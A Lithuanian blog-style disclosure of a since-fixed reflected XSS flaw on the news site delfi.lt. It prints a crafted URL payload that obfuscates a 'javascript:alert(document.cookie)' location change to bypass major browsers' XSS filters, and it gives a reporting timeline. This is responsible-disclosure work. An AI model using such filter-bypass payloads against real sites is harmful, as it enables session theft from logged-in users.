Delfi.t XSS saugumo spraga

Norėjau pasidalint atrasta delfi.lf XSS saugumo spraga kuri jau dabar yra istaisyta!

Izanga:

Netycia narsant po delfi.lt akis uzkliuvo uz vieno scripto:

http://www.delfi.lt/news/daily/lithuania/tragiskas-jauno-paneveziecio-likimas-lazdomis-uzmusto-vaikino-dede-atvere-sirdi.d?id=74458342

Panašu kad sis scriptas parsina locationa pabandykim irasyt custom location`a:

http://www.delfi.lt/news/daily/lithuania/index.php/cia/idomiau/ar/ne

Ok tad pabandykime sucraftint toki url kad mum pavyktu apeit visu major browseriu XSS filtrus:

After (3h):

http://www.delfi.lt/verslas/finansine-atsakomybe/index.php/test',],r=window,o=%7B0:'java%5Cscript:alert%5Cx28document%5Cx2Ecookie%5Cx29',v:'l%5Cocation'%7D,z=r[o['v']],['/d/',z['href']=o[0],'/r/r/

ir....

bam (Chrome):

IE:

XSS bypassinamas ant visur major browseriu:

Chrome

Firefox

Win 7 IE 11

Win 10 IE 11

WIn 10 edge 14

Problema gal nebutu rimta, bet kadangi del sitos spragos buvo imanoma bypassint visus browserio xss filtrus pavogti zmogaus prisijungusio prie delfi id  sesija butu paprasta (zinoma kai jis paspaustu ant kenkejiskos nuorodos)

Timeline`ai:

Spraga atrasta: 2017-03-10
Delfi.lt informuotas : 2017-03-14
Delfi.lt informuotas antra karta (nes pataisyta neubvo) 2017-04-25
Spraga istaisyta: 2017-04-25 11:15AM.